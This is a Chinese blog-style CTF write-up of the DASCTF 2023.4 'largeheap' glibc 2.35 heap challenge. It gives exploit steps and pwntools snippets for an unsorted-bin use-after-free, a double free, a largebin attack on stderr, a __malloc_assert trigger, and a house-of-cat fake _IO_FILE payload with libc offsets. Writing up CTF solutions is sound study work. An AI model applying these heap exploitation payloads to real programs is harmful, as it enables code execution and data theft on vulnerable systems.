Unsorted_bin_UAF

发布时间 2023-04-28 23:23:24作者: brain_Z

Unsorted_bin_UAF

dasctf2023.4的largeheap,libc2.35,保护全开。通过这题记录下纯unsortedbin风水实现堆混淆。

官方WP:

largeheap的解题思路

逆向分析

首先打开IDA发现main函数主要提供了三个功能,分别是add、edit和delete功能。我们分别看一下这三个功能提供的操作。

add

img

可以发现add函数实现了申请队块的功能,限制的大小是0x418~0x468,并且最多可以申请15个堆块。

delete

img

delete函数主要功能就是释放堆块,存在很明显的UAF漏洞。

edit

img

edit函数主要提供了两个功能,一个是有一次机会修改堆块中的内容,还有一个功能是向堆块中的指针加上一个偏移指向的地址中写入一个零字节。

漏洞利用

程序的漏洞十分的明显,就是一个明显的UAF漏洞。程序没有可以退出的地方,并且申请的堆块大小都是处于largebin大小的堆块。因此我们采用的思路就是largebin attack攻击malloc_assert,从而劫持程序流程。利用流程如下:首先我们申请一个堆块让其进入到unsortedbin中,之后我们利用edit函数的功能向IO_read_end和IO_write_base的倒数第二个字节写入'\x00',这样在之后调用puts函数的时候就会泄露大量的数据,其中包含了堆地址和libc地址。这样我们就完成了泄露功能。由于我们只有一次修改堆块内容的机会,因此我们需要通过堆风水进行largebin attack攻击的同时进行topchunk size的修改。这样我们在触发largebin attack的时候也会进行malloc assert的调用,之后我们通过劫持malloc assert来进行orw即可。

实现这种操作的堆风水布局相对来说比较的困难,我们通过相邻的unsortedbin堆块合并的特点,以及UAF时留下的悬浮指针来对堆块不断地进行操作,并对残留的堆块指针的size进行修改。从而使得largebin堆块的指针和topchunk size相邻很近,最后达到可以在修改largebin堆块的指针的同时,修改掉topchunk size,从而触发malloc assert,实现orw的劫持。具体过程如下:

首先我们申请四个堆块,大小分别是0x440、0x430、0x450、0x468,编号依次为1、2、3、4,其中我们在0x440的堆块上布置好我们需要劫持IO的payload,在后面的过程中我们需要通过largebin attack将0x440的堆块地址写入stderr,从而在malloc assert的时候实现劫持。此时堆块布局如下:

img

然后我们释放掉中间的堆块1和2,使中间的堆块合并,之后我们申请大一点的堆块,大小为0x460,编号为4号堆块,修改原先2号堆块的标志位,便于后续double free。之后将unsortedbin中的堆块全部申请出来,大小为0x420,编号为6号堆块,目的也是为了绕过后面的double free。此时堆块布局如下:

img

然后我们对2号堆块进行double free后再次将2号堆块申请回来,由于堆块重叠,我们可以修改5号堆块的指针的size为0xd10。再次释放掉2号对块,使其进入unsortedbin中开始进行largebin attack。之后从topchunk申请一个大队块,使2号对块进入largebin的同时,与前面修改的0xd10的大堆块对齐,此时5号堆块的大小变为了0xd10,为后续释放从而与topchunk合并作准备。此时堆块布局如下:

img

然后我们开始进行largebin attack的攻击。释放掉0号堆块使其进入unsortedbin中,然后释放0xd10的5号堆块,使其与topchunk合并,这样topchunk的size上移,我们在修改2号对块的时候就能够同时修改到topchunk的size,从而通过一次修改触发malloc assert的利用。此时堆块布局如下:

img

之后利用edit同时修改对块内容和topchunk的size,再次申请一个大堆块即可同时实现malloc assert的触发和向stderr中写入堆块地址。从而实现IO的劫持,触发布置好的payload,实现orw读取flag内容。

从此开始:

官方wp甚至不给exp,edit函数图片不截上面奇怪的检测随机值,只能说春秋笔法确实到位

image-20230428211310109.png

image-20230428212551298.png

check里大概就是造了个随机值然后printf打印出来,紧接着又要你把刚刚打印的随机值输回去检验是否相等,不相等就没法执行edit下面的操作。。。这个意义不明随机值倒是还好,但是printf就多少沾点了。。。由于漏洞给的泄露是往堆的fd指针附近写一个\x00 1字节,能写两次,我一开始就联想是修改IO stdout,结果试了半天都不行。他wp里说的向IO_read_end和IO_write_base的倒数第二个字节写入'\x00',可问题是,如果这个随机值检测在的话,一定会有printf,而用他这个功能改完第一次IO_read_end或者IO_write_base,等到下一次准备edit的时候,会执行随机值检测里的printf,由于第一次的修改,IO_read_end和IO_write_base此时不相等,导致printf无法正常打印随机值,从而完全无法同时修改IO_read_end和IO_write_base完成泄露。。。

IO_2_1_stdout

https://bbs.kanxue.com/thread-272098.htm#msg_header_h3_18

printffwriteputs等输出走IO指针(write不走)。

为了做到任意读,满足如下条件,即可进行利用:
(1) 设置_flag &~ _IO_NO_WRITES,即_flag &~ 0x8
(2) 设置_flag & _IO_CURRENTLY_PUTTING,即_flag | 0x800
(3) 设置_fileno1
(4) 设置_IO_write_base指向想要泄露的地方,_IO_write_ptr指向泄露结束的地址;
(5) 设置_IO_read_end等于_IO_write_base 或 设置_flag & _IO_IS_APPENDING即,_flag | 0x1000
此外,有一个大前提:需要调用_IO_OVERFLOW()才行,因此需使得需要输出的内容中含有\n换行符 或 设置_IO_write_end等于_IO_write_ptr(输出缓冲区无剩余空间)等。

_flag的构造需满足的条件:

_flags = 0xfbad0000 
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800

此外,_flags也可再加一些其他无关紧要的部分,如设置为0xfbad18870xfbad18800xfbad3887等等。

unsorted bin UAF

适用于能频繁造出unsorted bin大小的size,比如size大于tcache可存放的最大size,从而每次free都是先放进unsortedbin。

当然让tcache填满再来用这种方法也行,不过相应free次数也多不少,或者打tcache struct后直接把tcache count改满。

首先,创造四个堆,0:0x440,1:0x430,2:0x450,3:0x468

    add(0,0x440,pl)
    add(1,0x430)
    add(2,0x450)
    add(3,0x468)

free 1 和 2 堆后,让两个不同size的堆融合成大的unsorted bin

    free(1)
    free(2)

此时通过再次申请0x460,标号为4(一般比小的堆块大一些,保证能覆盖控制原本0x450的堆块的size或者fd等),切割刚刚融合成的大unsortedbin,这时能修改原本0x450堆的pre_inuse位,将其改为0x461。紧接着再把切割剩余的0x420大小的unsorted bin拿出来,标号为5。

    add(4,0x460,0x430*'a'+p64(0)+p64(0x461))
    add(5,0x420)

此时由于UAF,即可再次free 2 堆,实现对2 堆的 double free。此时申请2堆对应的size 0x450,即可把2堆重新拿出,并往里面写入内容,由于5 堆的存在,2堆写的内容正好能覆盖到5堆的prev_size和size,将5堆从原本的0x430 size改为0xd11,prev_size填为0x470,保证能正常free。

free(2)

add(6,0x450,p64(0)*4+p64(0x470)+p64(0xd11))

这时候再free 2堆,并申请一个更大堆块,触发consolidate让2堆进入largebin为attack做准备。

    free(2)

    add(7,0x468)

此时free 0堆,让0堆进入unsortedbin,等待下一次consolidate进入largebin完成attack。由于之前改过5堆的size,此时free 5堆即可让topchunk与5堆重合,5堆的size变为topchunk的size。由于我们仅有一次正常edit机会,此时可以edit 2堆,让其修改自身的fd,bk,fd_nextsize,bk_nextsize,为largebin attack做好准备,同时由于2堆与5堆重叠,我们还可以就此更改5堆(此时是topchunk)的size,以此来触发__malloc_assert。

    free(0)

    free(5)
    edit1(2,p64(libc_base+0x21a0e0)*2+p64(heap_base+0x1ce0)+p64(stderr)+p64(0)+p64(0x200))
    
    

最后,通过申请较大的堆,触发largebin attack的同时,完成对__malloc_assert的触发

add(8,0x468)

后续我用的是house of cat的一个调用链,通过__malloc_assert的fxprintf触发,vtable=IO_wfile_jumps+0x10,这样实际call的时候就是_IO_wfile_seekoff->_IO_switch_to_wget_mode

1.将[rdi+0xa0]处的内容赋值给rax,为了避免与下面的rax混淆,称之为rax1
2.将新赋值的[rax1+0x20]处的内容赋值给rdx。
3.将[rax1+0xe0]处的内容赋值给rax,称之为rax2
4.call调用[rax2+0x18]处的内容。

fake_IO结构体需要绕过的检测

_wide_data->_IO_read_ptr != _wide_data->_IO_read_end
_wide_data->_IO_write_ptr > _wide_data->_IO_write_base
#如果_wide_data=fake_io_addr+0x30,其实也就是fp->_IO_save_base < f->_IO_backup_base
fp->_lock是一个可写地址(堆地址、libc中的可写地址)

house of cat的模板,原理参照上图。伪造IO结构体时只需修改fake_io_addr地址,_IO_save_end为想要调用的函数,_IO_backup_base为执行函数时的rdx,以及修改_flags为执行函数时的rdi;FSOP和利用__malloc_assert触发house of cat的情况不同,需要具体问题具体调整(FSOP需将vtable改为IO_wfile_jumps+0x30)

fake_io_addr=heap_base+0x1450 # 伪造的fake_IO结构体的地址
next_chain = 0
#_flags=rdi (fake_io head is chunk's pre_size)
fake_IO_FILE=p64(0)*6       
fake_IO_FILE +=p64(1)+p64(2) # rcx!=0(FSOP)
fake_IO_FILE +=p64(fake_io_addr+0x10+0x108+8)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x68-0x10, '\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88-0x10, '\x00')
fake_IO_FILE += p64(heap_base+0x1000)  # _lock = a writable address 
fake_IO_FILE = fake_IO_FILE.ljust(0xa0-0x10, '\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xc0-0x10, '\x00')
fake_IO_FILE += p64(1) #mode=1
fake_IO_FILE = fake_IO_FILE.ljust(0xd8-0x10, '\x00')
fake_IO_FILE += p64(libc_base+0x2160c0+0x10)  # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr

https://bbs.kanxue.com/thread-273895.htm#msg_header_h3_5

__malloc_assert以及相关思考

__malloc_assert代码如下

static void
__malloc_assert (const char *assertion, const char *file, unsigned int line,
         const char *function)
{
  (void) __fxprintf (NULL, "%s%s%s:%u: %s%sAssertion `%s' failed.\n",
             __progname, __progname[0] ? ": " : "",
             file, line,
             function ? function : "", function ? ": " : "",
             assertion);
  fflush (stderr);
  abort ();
}

house of kiwi提供了一种调用该函数的思路,可以通过修改topchunk的大小触发,即满足下列条件中的一个

1.topchunk的大小小于MINSIZE(0X20)
2.prev inuse位为0
3.old_top页未对齐

assert ((old_top == initial_top (av) && old_size == 0) ||
        ((unsigned long) (old_size) >= MINSIZE &&
         prev_inuse (old_top) &&
         ((unsigned long) old_end & (pagesize - 1)) == 0));

然而触发之后,利用_malloc_assert的哪一块也是更为关键的,因为该函数里面的另外两个函数 _fxprintf和fflush (stderr)都是对stderr进行操作,这两个函数都能触发IO相关虚标指针。

fflush (stderr)

可以看到,在malloc.c中,assert断言失败,最终都会调用__malloc_assert,而其中有一个fflush (stderr)的函数调用,会走stderrIO_FILE,最终会调用到其vtable_IO_file_jumps中的__IO_file_sync,此时rdxIO_helper_jumps

fxprintf

值得一提的是,在house of KiWi调用链中,在调用到__IO_file_sync之前,在__vfprintf_internal中也会调用IO_FILE虚表中的函数,会调用[vtable] + 0x38的函数,即_IO_new_file_xsputn,因此我们可以通过改IO_FILEvtable的值,根据偏移来调用其他虚表中的任意函数。

利用house of KiWi配合house of emma的调用链为__malloc_assert -> __fxprintf -> __vfxprintf -> locked_vfxprintf -> __vfprintf_internal -> _IO_new_file_xsputn ( => _IO_cookie_write),这里用的是_IO_cookie_write函数,用其他的当然也同理。

stderr

由于stderr其实是个存在于libc里的指针,其实也能被largebin attack一把梭改了,然后就等同于fflush(fake_IO)了,stderr可以直接用pwntools找

8PM6QHQ5LQ7QELA7MD2V6F.png

SA_QHO91F`_X8JOS09BIW_O.png

QQ图片20230428220455.png